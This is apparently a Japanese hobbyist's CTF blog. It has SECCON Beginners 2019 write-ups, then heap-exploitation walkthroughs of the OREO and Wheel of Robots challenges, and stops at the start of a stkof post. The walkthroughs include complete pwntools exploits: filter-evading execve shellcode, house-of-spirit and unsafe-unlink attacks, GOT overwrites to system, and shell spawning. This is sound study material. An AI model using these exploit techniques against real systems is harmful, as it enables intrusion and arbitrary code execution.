fr33f0r4ll

自分用雑記

SECCON Beginners CTF 2019 Writeup

SECCON Beginners CTF 2019 Writeup

忙しくてCTFしてなかったので復帰戦、全然駄目になっていた。
解けたのは

  • Rev
    • Seccompare
    • Leakage
    • Linear Operation
  • Crypto
    • So Tired
    • Party
  • Misc
    • containers
    • Dump

だけ、1日目から8時間くらいやってあとはあきてしまった。 pwnが解けてないのほんと駄目。

以下Writeup。

[Rev] Seccompare

単純にstrcmpでフラグと比較しているので簡単に解けた。 ltraceを使ったけどstringsとか静的解析でもすぐ分かると思う。

[Rev] Leakage

解析してみると内部で難読化したフラグを一文字ずつ復号して比較する処理をしていた。 デバッガを使って文字の比較を誤魔化してやれば一文字ずつフラグが復号される。 それか一文字ずつ特定して一文字ずつ入力を合わせていってもいい、手間はあまり変わらない。

[Rev] Linear Operation

入力した文字列を、かなり面倒くさそうな変換処理で変換して比較している。 angrを使った、こういうときに便利。使い方がまったく分からないから勉強しないと...

コードは以下。

import angr

p = angr.Project('./linear_operation')
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

trg_addr = 0x0040cf78
avoid_addr = [0x0040cf86, 0x0040cbb0, 0x0040cbb6, 0x0040cbbc, 0x0040cbc2, 0x0040cbc8, 0x0040cbce, 0x0040cbd4, 0x0040cbda, 0x0040cbe0, 0x0040cbe6, 0x0040cbec, 0x0040cbf2, 0x0040cbf8, 0x0040cbfe, 0x0040cc04, 0x0040cc0a, 0x0040cc10, 0x0040cc16, 0x0040cc1c, 0x40cc22, 0x40cc28, 0x40cc2e, 0x40cc34, 0x40cc3a, 0x40cc40, 0x40cc46, 0x40cc4c, 0x40cc52, 0x40cc58, 0x40cc5e, 0x40cc64, 0x40cc6a, 0x40cc70, 0x40cc76, 0x40cc7c, 0x40cc82, 0x40cc88, 0x40cc8e, 0x40cc94, 0x40cc9a, 0x40cca0, 0x40cca6, 0x40ccac, 0x40ccb2, 0x40ccb8, 0x40ccbe, 0x40ccc4, 0x40ccca, 0x40ccd0, 0x40ccd6, 0x40ccdc, 0x40cce2, 0x40cce8, 0x40ccee, 0x40ccf4, 0x40ccfa, 0x40cd00, 0x40cd06, 0x40cd0c, 0x40cd12, 0x40cd18, 0x40cd1e, 0x40cd24]

simgr.explore(find=trg_addr, avoid=avoid_addr)
state = simgr.found[0]
print(state.posix.dumps(0))

大量にある外れの分岐を探すのが一番面倒くさかった。

TODO: Radare2のマウスクリックでランダムな機能が実行される不具合の原因を特定する。

[Crypto] So Tired

zlibとbase64を繰り返し適用してるだけ、最初base64じゃないと思って無駄に時間を使った。 Pythonで解いた。

import base64
import zlib

base64_txt = ''
with open('encrypted.txt') as f:
    base64_txt = f.read()

try:
    while True:
        base64_txt = zlib.decompress(base64.b64decode(base64_txt))
except Exception as e:
    print(base64_txt)

[Crypto] Party

暗号化処理をしているコードを見ると、秘密情報であるcoeffの3つの値を変数とした連立方程式が作れることが分かる。

party = [p1, p2, p3], coeff = [c1, c2, c3], val = [v1, v2, v3]とした場合、暗号化処理は次のようになる。

v1 = c1 + c2 * p1 + c3 * p1 * p1
v2 = c1 + c2 * p2 + c3 * p2 * p2
v3 = c1 + c2 * p3 + c3 * p3 * p3

val, partyは既知なので、c1, c2, c3に関する3つの一次方程式が存在することになるので、あとは解くだけである。
桁が大きすぎて計算が面倒なのでPythonにやらせた。sympy便利。

import sympy
from Crypto.Util.number import long_to_bytes

[(x1, y1), (x2, y2) , (x3, y3)] = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

c1 = sympy.Symbol('c1')
c2 = sympy.Symbol('c2')
c3 = sympy.Symbol('c3')

expr1 = c1 + c2 * x1 + c3* x1 * x1 - y1
expr2 = c1 + c2 * x2 + c3* x2 * x2 - y2
expr3 = c1 + c2 * x3 + c3* x3 * x3 - y3

flag_num = sympy.solve([expr1, expr2, expr3])[c1]

print(flag_num)
print(long_to_bytes(flag_num))

RSARSAを忘れたので解けませんでしたはい。

[Misc] containers

Welcomeは問題じゃないので飛ばす。 Dockerのコンテナか何かかと思ったけど、どうも違うらしいので適当に抽出した。 作者っぽい人のツイート見る限りではオリジナルらしい?

foremost使った。

16進数値のクソ長いフラグを画像ごとにバラして答えとするのは悪い例だと思いますが。
ある程度意味のある文字列にしないと無駄に入力ミスするし順番の勘違いもしやすいし、コピペできない形式なら非推奨だってCTFの手引きに書いてある。
大人しくctf4b{th1s_1s_th3_fl4g}みたいな形式にすれば良かったと思う、他の問題だとそういうフラグあったし。

[Misc] Dump

pcapファイル渡される、httpで通信してるっぽいので通信しているデータをwiresharkで取り出す。 webshellを使ってshで命令を実行、httpで結果を返信してるらしい。 命令を見てみるとflagをhexdumpで出力してるらしいので、単純にデコードする。 コードは以下。

dump_txt = ''

with open('hexdump.txt', 'r') as f:
    dump_txt = f.read()

dump_line = [line for line in dump_txt.split('\n') if line != '']
dump_str = [ch for ch in ' '.join(dump_line).split(' ') if ch != '']
dump = [int(ch, 8) for ch in dump_str]

with open('recovery.bin', 'w') as f:
    f.write(''.join([chr(i) for i in dump]))

jpgらしいので画像として開いてフラグゲット。

[Pwn] shellcoder

終わったあとに解いた、送信したデータをそのまま実行するらしいのでシェルを起動するだけ。
だけなのだが"binsh"が含まれていると実行されないのと0x28バイトしか入力できない。
これらの制約を満すシェルコードを作る必要がある。 "binsh"については上位4bitと下位4bitを互い違いに加算するようにすれば誤魔化せる、長さは上手いこと調節したり。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './shellcoder'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('153.120.129.186', 20000)
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

import time

io = start()

forbidden_chars = set('binsh')

shellcode = '''
    /* push '/bin///sh\x00' */
    xor rax, rax
    mov rdx, rax
    mov rsi, rax
    push rax
    mov al, SYS_execve /* 0x3b */
    
    mov rbx, 0x6070202060606020
    mov rcx, 0x08030f0f0e09020f
    add rbx, rcx
    push rbx
    
    push rsp
    pop rdi
    
    syscall
'''
payload = asm(shellcode)



if len(payload) > 0x28:
    print("Length over: {:x}".format(len(payload)))
    exit(1)

chrs = set(payload)
if len(chrs.intersection(forbidden_chars)) != 0:
    print(chrs.intersection(forbidden_chars))
    exit(1)

if args.DEBUG:
    time.sleep(3)

io.sendline(payload)

io.interactive()

久しぶり過ぎて色々忘れていて面倒だった。

Heap exploitation Hack.lu CTF 2014: OREO

Heap exploitation Hack.lu CTF 2014: OREO

How2Heapシリーズの続き、とうとうhouse of spiritまで来た。
house of spirit自体の解説はhttps://github.com/shellphish/how2heap、問題はhttps://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreoにある。
Writeupはなしで解けた!

問題

fileとchecksecは以下。

oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

x86でセキュリティ機構は普通。
Rifleを購入するプログラムになっていて、名前や説明の入力をして注文したり、メモのようなものを残すことができる。

解析

Radareで解析してマニュアルデコンパイルしたコードは以下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main_loop();
int read_input_num();
void check_last_char(char* buf);
void add_rifle();
void show_rifle();
void order_rifle();
void leave_msg();
void show_status();

// size 0x38
struct tmp_st {
  char description[0x19];
  char name[0x1b];     // 0x19
  struct tmp_st *next; // 0x34
};

struct tmp_st* head_ptr; // 0x804a288
int order_count;         // 0x804a2a0
int list_count;          // 0x804a2a4
char *msg;               // 0x804a2a8
char global_buf[0x80];   // 0x804a2c0

int main(int argc, char** argv){
  // print welcome
  // initialize
  list_count = 0;
  order_count = 0;
  msg = global_buf;

  main_loop();
  
  return 0;
}

void main_loop() {
  // show menu

  while(1) {
    switch(read_input_num()) {
    case 1:
      add_rifle();
      break;
    case 2:
      show_rifle();
      break;
    case 3:
      order_rifle();
      break;
    case 4:
      leave_msg();
      break;
    case 5:
      show_status();
      break;
    case 6:
      return;
    default:
      break;
    }
  }
}

int read_input_num() {
  char buf[0x20];
  int num;
  
  while(1) {
    // print action
    fgets(buf, sizeof(buf), stdin);
    if(sscanf(buf, "%u", &num) != 0) {
      return num;
    }
  }
}

void check_last_char(char* buf) {
  char* local_buf = buf;
  char* last = local_buf + strlen(local_buf) - 1;

  if(last >= buf && *last == '\n') {
    *last = '\0';
  }

  return;
}

void add_rifle() {
  // local_10h = [0x804a288]
  struct tmp_st* tmp = head_ptr;
  head_ptr = malloc(sizeof(struct tmp_st));

  if(head_ptr == NULL) {
    // print error
    return;
  }
  
  head_ptr->next = tmp;

  // rifle name
  fgets(head_ptr->name, 0x38, stdin); // sizeof(struct tmp_st)?
  check_last_char(head_ptr->name);
  // description
  fgets(head_ptr->description, 0x38, stdin);
  check_last_char(head_ptr->description);

  list_count++;

  return;
}

void show_rifle() {
  // printf
  struct tmp_st* head = head_ptr;

  while(head != NULL) {
    // print head->name
    // print head->description
    head = head->next;
  }

  return;
}

void order_rifle() {
  struct tmp_st* head = head_ptr;

  if(list_count == 0) {
    // no rifle
    return;
  }

  while(head != NULL) {
    struct tmp_st* tmp = head;
    head = head->next;
    free(tmp);
  }

  head_ptr = NULL;
  order_count++;

  return;
}

void leave_msg() {
  // enter notice
  fgets(msg, 0x80, stdin);
  
  return;
}

void show_status() {
  // print list_count
  // print order_count

  if(msg[0] != '\0') {
    // print msg
  }

  return;
}

ちょっと整理されてない。

add_rifle脆弱性があり、バッファのサイズを指定するべき場所に構造体tmp_stのサイズが指定されているため、ヒープ上でのバッファオーバーフローが存在している。
よってtmp_st.nameから0x38だけ任意の値に書き換えられる、例えばnextとか。
これによりリンクリストの次の領域を任意のアドレスに指定できるので、任意の領域をfreeすることができる。

解法

house of spirit

簡単に説明すると、chunkと同じように値を設定してやることでheap領域以外をfreeしてfastbinsに繋ぐ攻撃である。
こうすることで任意の領域をmallocに返させて、値を書き込んだりできるようになる。


house of spiritを使うことは分かっているので、それを意識して考えてみた。
すると、グローバル変数の値を適切に設定してやれば、ヒープオーバーフローでfreeさせられそうだと思い付いた。
どこが書き換えられると嬉しいかを考えると、leave_msgで任意の入力を書き込めるchar* msgあたりをmallocで返したい。
そこで、msgの上のlist_countにサイズを設定しmsgfreeすることで、次のadd_rifleで指しているアドレスを改ざんできるようにすることを目指した。

house of spiritによりadd_rifleでアドレスを改ざんできるようになったので、書き換えるべきアドレスを探した。
GOTを書き換えられるので、ユーザの入力を受け取る標準関数sscanfを書き換えることにした。
libcのバージョンを特定する必要があったため2つ以上の関数のアドレスをリークさせる必要があるがsscanfは一番最後の領域にあったため直接sscanfを指すようにしてしまうとうまくlibcのリークとGOTの書き換えが両立できない。
そこで、ひとつ上のlibc_mainを指定してリークと書き換えが1度にできるようにした。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './oreo'
libc = './libc6_2.23-0ubuntu10_i386.so'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw)


#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)


def add_rifle(name, desc):
    io.sendline('1')
    io.sendline(name)
    io.sendline(desc)
    return


def show_rifle():
    sep = '==================================='

    io.sendline('2')
    io.recvuntil(sep)
    return io.recvuntil(sep).replace(sep, '')


def order_rifle():
    io.sendline('3')
    return


def leave_msg(notice):
    io.sendline('4')
    io.sendline(notice)
    return


def show_status():
    io.sendline('5')
    io.recvuntil('======= Status =======')
    sep = '======================'
    return io.recvuntil(sep).replace(sep, '')


log.info('Exploit Start!')
# 最初にオーバーフローを利用して、
log.info('Overwrite next ptr by overflow.')
# set 0x41 order count for chunk size field.
for i in range(0x41 - 1):  # -1 for additional add_rifle
    add_rifle('A' * 4, 'B' * 4)

log.info('Create fake chunk.')
# Fake chunk layout
# order_count: prev_size
# list_count: user_data, size
# msg: 4
# space: 0x18
# global_buf: 0x34 - 0x18 + NULL + prev_size + size
global_buf_addr = 0x804a2c0
order_count_addr = 0x804a2a0
list_count_addr = 0x804a2a4

log.info("Firstly, overwrite tmp_st.next to msg (list_count_addr + 4).")
payload = 'C' * 0x1b  # padding
payload += p32(list_count_addr + 0x4)  # prev_sizeとsizeの分だけずらして設定する
add_rifle(payload, 'D' * 4)

payload = 'E' * (0x34 - 0x18)  # char* msgとパディング分をスキップ
payload += '\0' * 4  # nextをNULLに
payload += 'H' * 4  # prev_sizeを適当に
payload += p32(0x41)

assert (len(payload) <= 0x80)
leave_msg(payload)
order_rifle()

# fastbinにorder_countのアドレスが繋がれる
log.info('Overwrite msg.')
# descriptionに書き込んでmsgをfree@GOTを指すように書き換える
# chunkがorder_countを指しているので、mallocで返ってくるのはmsgになる
log.info('Leak libc function address')

# libcを特定ために2つの関数アドレスをリークする必要がある
# sscanfを書き換えられる必要がある
# なのでlibc_start_mainからリークさせる
payload = p32(elf.got['__libc_start_main'])
add_rifle('IIII', payload)
status = show_status().split('\n')[-2].replace('Order Message: ', '')
libc_main_addr = u32(status[:4])
sscanf_addr = u32(status[4:8])
log.info('__libc_start_main@GOT: 0x{:x}'.format(libc_main_addr))
log.info('__isoc99_sscanf@GOT: 0x{:x}'.format(sscanf_addr))
log.info('Now, you can get libc from libc database.')

log.info('Overwrite sscanf to system.')
libc = ELF(libc)
libc_base = sscanf_addr - libc.symbols['__isoc99_sscanf']
log.info('libc base: 0x{:x}'.format(libc_base))
system_addr = libc.symbols['system'] + libc_base

leave_msg('J' * 4 + p32(system_addr))  # これでsscanfがsystemになる

# 数値読み取りに渡される文字列に/bin/shを指定することでsystemでシェル起動
io.sendline('/bin/sh' + '\0')

io.interactive()

まとめ

時間はかかったけど自力で解けたので嬉しい。 だんだんコツが分かってきた。

# Heap exploitation Insomni'hack 2017 Wheel of Robots

Heap exploitation Insomni'hack 2017 Wheel of Robots

Heap exploitationのお勉強、Writeup見ちゃった。
問題はここ
参考にしたのはshellphishのhow2heap。

問題

実行ファイルだけ降ってくる。
解くのにlibcが必要になるが、途中で任意アドレスの読み出しができるようになるので、ライブラリ関数のアドレスからlibcのバージョンが特定できるはず。
こことか使える。

wheel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc05ccf7a4657427fa4e2d78, stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

普通のx64といった感じ。

解析

直接実行してみると、malloc、free、read、writeができるっぽい感じだと分かる。
リバーシングしてみると、いくつか脆弱性を含んでいることが分かる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>

void gotohell(int id);
void initialize();
int read_menu_num(char* buf, int len);
void add_robot();
void del_robot();
void change_name_robot();
void start_robot();
void show_buf(char* buf);

// wheel menu
// 1. Tinny Tim
// 2. Bender
// 3. Robot Devil
// 4. Chain Smoker
// 5. Billionaire Bot
// 6. Destructor
char* chain_smoker;      // 0x6030e0
char* destructor;        // 0x6030e8
char* bender;            // 0x6030f0
char* tinny_tim;         // 0x6030f8
char* robot_devil;       // 0x603100
char* billionaire_bot;   // 0x603108
char menu_num_buf[4];    // 0x603110
int bender_flg;          // 0x603114
int chain_smoker_flg;    // 0x603118
int destructor_flg;      // 0x60311c
int tinny_tim_flg;       // 0x603120
int robot_devil_flg;     // 0x603124
int billionaire_bot_flg; // 0x603128
int use_count;           // 0x603130
int intel;               // 0x603138
int cruelty;             // 0x603140
int powerful;            // 0x603148

int main(int argc, char** argv) {
  setvbuf(stdout, NULL, 2, 0);
  setvbuf(stdin, NULL, 2, 0);

  initialize();
  // show_title();

  while(1) {
    // show_menu();
    // 1. Add a robot on wheel
    // 2. Delete a robot on wheel
    // 3. Change a robot's name
    // 4. Start the Wheel Of Robots
    // show dialog
    memset(menu_num_buf, 0, sizeof(menu_num_buf));
    int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf));

    switch(menu_num) {
    case 1:
      add_robot();
      break;
    case 2:
      del_robot();
      break;
    case 3:
      change_name_robot();
      break;
    case 4:
      start_robot();
      break;
    default:
      break;
    }
  }

  return 0;
}

void initialize() {
  int random_fd = open("/dev/urandom", 0);
  long long num;

  read(random_fd, &num, 8);
  close(random_fd);

  srand(num);
  setvbuf(stdout, NULL, 2, 0);
  signal(0xe, gotohell);
  // alarm(0x3c); // temporary off

  return;
}

void gotohell(int id) {
  puts("Go to Hell!!!\n");
  exit(1);
}

int read_menu_num(char* buf, int len) {
  char* lbuf = buf;
  int llen = len;

  int read_num = read(0, lbuf, llen);

  if(read_num > 0) {
    return atoi(lbuf);
  } else {
    puts("Error\n");
    exit(-1);
  }
}

void add_robot() {
  // puts, which add
  // choice
  char buf[8];

  memset(menu_num_buf, 0, sizeof(menu_num_buf));
  int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf) + 1); // why more one byte?

  if(use_count > 2) {
    // puts, full
    return;
  }

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg == 0) {
      tinny_tim = calloc(1, 0x14);
      tinny_tim_flg = 1;
      strcpy(tinny_tim, "Tinny Tim");
      use_count++;
    }

    break;
  case 2:
    if(bender_flg == 0) {
      // puts, Increase bender intel
      memset(buf, 0, 5);
      int inc_intel = read_menu_num(buf, 5);

      if(inc_intel > 4) {
        // puts, impossible!
        inc_intel = 2;
      }

      bender = calloc(1, inc_intel * 10); // TODO: check
      intel = inc_intel;
      bender_flg = 1;
      strcpy(bender, "Bender");
      use_count++;
    }

    break;
  case 3:
    if(robot_devil_flg == 0) {
      // puts, inc cruelty
      memset(buf, 0, 5);
      int inc_num = read_menu_num(buf, 5);

      if(inc_num > 0x63) {
        // you are crazy
        inc_num = 0x14;
      }

      robot_devil = calloc(1, inc_num * 10);
      cruelty = inc_num;
      strcpy(robot_devil, "Robot Devil");
      robot_devil_flg = 1;
      use_count++;
    }

    break;
  case 4:
    if(chain_smoker_flg == 0) {
      chain_smoker = calloc(1, 0xfa0);
      strcpy(chain_smoker, "Chain Smoker");
      chain_smoker_flg = 1;
      use_count++;
    }

    break;
  case 5:
    if(billionaire_bot_flg == 0) {
      billionaire_bot = calloc(1, 0x9c40);
      strcpy(billionaire_bot, "Billionaire Bot");
      billionaire_bot_flg = 1;
      use_count++;
    }

    break;
  case 6:
    if(destructor_flg == 0) {
      // puts, inc powerful
      memset(buf, 0, 5);
      int inc_num = read_menu_num(buf, 5);
      destructor = calloc(1, inc_num * 10);
      powerful = inc_num;
      destructor_flg = 1;
      strcpy(destructor, "Destructor");
      use_count++;
    }

    break;
  default:
    break;
  }

  return;
}

void del_robot() {
  // puts, Which remove
  // choice
  memset(menu_num_buf, 0, sizeof(menu_num_buf));
  int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf));

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg != 0) {
      free(tinny_tim);
      tinny_tim_flg = 0;
      use_count--;
    }

    break;
  case 2:
    if(bender_flg != 0) {
      free(bender);
      bender_flg = 0;
      use_count--;
    }

    break;
  case 3:
    if(robot_devil_flg != 0) {
      free(robot_devil);
      robot_devil_flg = 0;
      use_count--;
    }

    break;
  case 4:
    if(chain_smoker_flg != 0) {
      free(chain_smoker);
      chain_smoker_flg = 0;
      use_count--;
    }

    break;
  case 5:
    if(billionaire_bot_flg != 0) {
      free(billionaire_bot);
      billionaire_bot_flg = 0;
      use_count--;
    }

    break;
  case 6:
    if(destructor_flg != 0) {
      free(destructor);
      destructor_flg = 0;
      use_count--;
    }

    break;
  default:
    break;
  }

  return;
}

void change_name_robot() {
  // puts, which
  // choice
  memset(menu_num_buf, 0, 4);
  int menu_num = read_menu_num(menu_num_buf, 4);

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg != 0) {
      // name
      read(0, tinny_tim, 0x14);
    }

    break;
  case 2:
    if(bender_flg != 0) {
      // name
      read(0, bender, intel * 10);
    }

    break;
  case 3:
    if(robot_devil_flg != 0) {
      // name
      read(0, robot_devil, cruelty * 10);
    }

    break;
  case 4:
    if(chain_smoker_flg != 0) {
      read(0, chain_smoker, 0xfa0);
    }

    break;
  case 5:
    if(billionaire_bot_flg != 0) {
      read(0, billionaire_bot, 0x9c40);
    }

    break;
  case 6:
    if(destructor_flg != 0) {
      read(0, destructor, powerful * 10);
    }

    break;
  default:
    break;
  }
}

void start_robot() {
  if(use_count <= 2) {
    // puts, fill!
    return;
  }

  // int rand_num = rand_func(6);?
  int rand_num;

  switch(rand_num) {
  case 1:
    if(bender_flg != 0) { // is this bug? tinny_tim_flg is correct but wrong flag is used. so can use after free
      show_buf(tinny_tim);
      break;
    }
  case 2:
    if(bender_flg != 0) {
      // are you kidding me?
      show_buf("are you kidding me"); // other function but same functionality
      break;
    }
  case 3:
    if(robot_devil_flg != 0) {
      show_buf(robot_devil);
      break;
    }
  case 4:
    if(chain_smoker_flg != 0) {
      show_buf(chain_smoker);
      break;
    }
  case 5:
    if(billionaire_bot_flg != 0) {
      show_buf(billionaire_bot);
      break;
    }
  case 6:
    if(destructor_flg != 0) {
      show_buf(destructor);
      break;
    }
  default:
    // welcome to hell!
    break;
  }

  exit(1);
}

void show_buf(char* buf) {
  printf("%s\n", buf);
}

まず、いくつかの場所でmenu_num_bufを1バイトオーバーフローしている。
このため、直下にあるbender_flgの下位1バイトを好きなように操作できる。
この変数はbenderに割り当てられた領域がfree済みかどうかをチェックするためのもので、これを改ざんできるとdouble freeができる。

また、freeされてもアドレスが残りっぱなしになっている点も脆弱性として利用できる。

解法

まず、double freeを利用して任意のアドレスをmallocで返せることを使って、powerfulの領域をmallocで返させる。
次にpowerfulを領域のサイズとして使うrobot 6(destructor)を適当なサイズで取得し、その後でpowerfulをより大きいに設定することで、ヒープオーバーフローができるようにする。
これでヒープ領域を書き換えてunsafe unlinkができるようになる。

unsafe unlinkができれば、グローバル変数の値を改ざんしてGOTを適当に書き換えてlibcベースをリーク、systemでシェルの起動につなげればいい。

exploitはWriteupのほぼ丸パクリ、動かなかった部分だけ修正した。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './wheel'
libc = '/lib/x86_64-linux-gnu/libc.so.6'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)
libc = ELF(libc)


def add_robot(robot, inc_num=0):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('choice :')
    io.sendline(str(robot))

    if robot == 2:
        io.recvuntil('intelligence:')
        io.sendline(str(inc_num))
    elif robot == 3:
        io.recvuntil('cruelty:')
        io.sendline(str(inc_num))
    elif robot == 6:
        io.recvuntil('powerful:')
        io.sendline(str(inc_num))


def del_robot(robot):
    io.recvuntil('choice :')
    io.sendline('2')
    io.recvuntil('choice :')
    io.sendline(str(robot))


def change_name(robot, name):
    io.recvuntil('choice :', timeout=0.1)
    io.sendline('3')
    io.recvuntil('choice :')
    io.sendline(str(robot))
    io.recvuntil('name:')
    io.send(name)


# メニューの数値選択でmenu_num_bufが1バイトだけオーバーフローできる
# bender_flgを好きな数値(8bit長)に書き換える
def overflow_tag(bit, data='9999'):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('choice :')
    assert (len(data) == 4)
    io.send(data + chr(bit))


if args.DELAY:
    import time
    time.sleep(3)

log.info('START')
log.info("Create fake fastbin @ Bender's intel(0x603138)")
intel_addr = 0x603138
add_robot(3, 0x20)  # Robot Devilのcrueltyに0x20を設定
del_robot(3)  # mallocできる数に限りがあるのでfreeしておく、mallocした領域や数値は0クリアされない

add_robot(2, 1)  # malloc Bender, intel=1
del_robot(2)  # free
overflow_tag(1)  # freeしたBenderのbender_flgを1に書き換える
change_name(2, p32(intel_addr))  # Benderの指している領域はfree済みなので、fdを書き換えることになる
overflow_tag(0)  # Benderをfreeされた扱いに
add_robot(2, 1)  # 次にintel_addrがチャンクとして返される

log.info("Return Destructor's powerful(0x603148)")
# intel_addrがチャンクとして返されるので、ユーザ領域としてprev_sizeとsize分下にあるpowerfulが返される
add_robot(1)

# 他の領域を確保するためにfree
del_robot(2)
del_robot(3)  # free済?

log.info('Unsafe Unlink')
add_robot(3, 7)  # RobotDevilでcalloc(70)
add_robot(4)  # Chain Smoker
del_robot(3)  # robot 4でのprev in useフラグを0にするため
add_robot(6, 1)  # destructor, powerful 1. ここで返されるのはheap領域の先頭に位置するチャンク

# heapのレイアウトは現在
# robot 6(0x20)
# robot 3(0xa0)
# robot 4(0xfb0)
# となっている

# powerfulを書き換えてヒープオーバーフロー
change_name(1, p32(0x1000))  # fdを書き換えてpowerfulを指すようになっている
destructor_addr = 0x6030e8
change_name(
    6,
    "a" * 0x8 +  # パディング
    p64(0xb1) +  # サイズのチェックが存在している、元のexploitから変更
    p64(destructor_addr - 0x18) + p64(destructor_addr - 0x10)
    +  # 偽のfdとbk、ターゲットはdestructor(0x6030e8)
    p64(0) + p64(0) + "b" * 0x80 +  # パディング?
    p64(0xb0)  # prev_size、0xa0からサイズを大きくして偽のチャンクを認識させる
)

log.info('unlink!')
del_robot(4)  # unsafe unlinkによるP->bk->fd = P->fdで、destructorに0x6030d0が格納される
# これにより、グローバル変数の値を任意に変更できるようになった
change_name(
    6, "A" * 40 + p64(0x6030e8))  # robot 1(tinny tim)の値を0x6030e8(destructor)に


# この時点でrobot 1への書き込みはdestructor(0x6030e8)への書き込みになる
# robot 1へ書き込んだアドレスはrobot 6(destructor)にセットされる
# robot 6への書き込みはセットしたアドレスへの書き込みになる
# つまり、[addr] = data
def write(addr, data):
    change_name(1, p64(addr))
    change_name(6, data)


log.info('overwrite exit@GOT = ret')
# menu 4の最後がretではなくexitになっているため、retにして繰り返し実行できるようにする
rop_ret = 0x4015bc  # ret;
write(elf.got['exit'], p64(rop_ret))

write(0x603130, p64(3))  # use_count(0x603130) = 3

log.info('Leak free@GOT')
# free@GOTを表示してlibcベースをリーク
change_name(1, p64(elf.got['free']))
while True:
    io.recvuntil('choice :')
    io.sendline('4')  # 乱数でrobotのバッファを表示する
    buf = io.recvuntil('!! Thx ', timeout=0.1)
    if '!! Thx' in buf:
        break
    else:
        log.info("Retry!")

libc_base = u64(io.recv()[:6] + '\0\0') - libc.symbols['free']
log.info('libc base: 0x{:x}'.format(libc_base))

log.info('free = system')
write(elf.got['free'], p64(libc_base + libc.symbols['system']))

write(0x603114, "sh\0")  # 適当なアドレスに"sh"を書き込む
del_robot(6)  # この時点でrobot 6に格納されているアドレスには"sh"を指すポインタが格納されている
# free = systemなので、system("sh")となる

io.interactive()

細かいことはexploit中のコメントに書いた。

まとめ

double freeからunsafe unlinkに繋げられなかった、というかこのdouble freeは成立しないと思ってた。 サイズのチェックか何かあった気がしたけどそんなことはなかった、何事も試してみるのが大事だね。

Heap exploitation HITCON CTF 2014: stkof

Heap exploitation HITCON CTF 2014: stkof

Heap exploitationのお勉強、初めてWriteup途中で見ずに解けて嬉しい。
問題はここ
参考にしたのはshellphishのhow2heap。

解く上でlibcが必要になるが、Hintととして動作環境が出されているし脆弱性を突けば任意のGOT領域の関数アドレスを表示できるので、該当するlibcのバージョンを特定して入手するのは容易のはず。
なので今回はそれを省いてローカルのlibcをいきなり使っている。

問題

stkofというバイナリだけが降ってくる。
fileとchecksecの出力は以下。

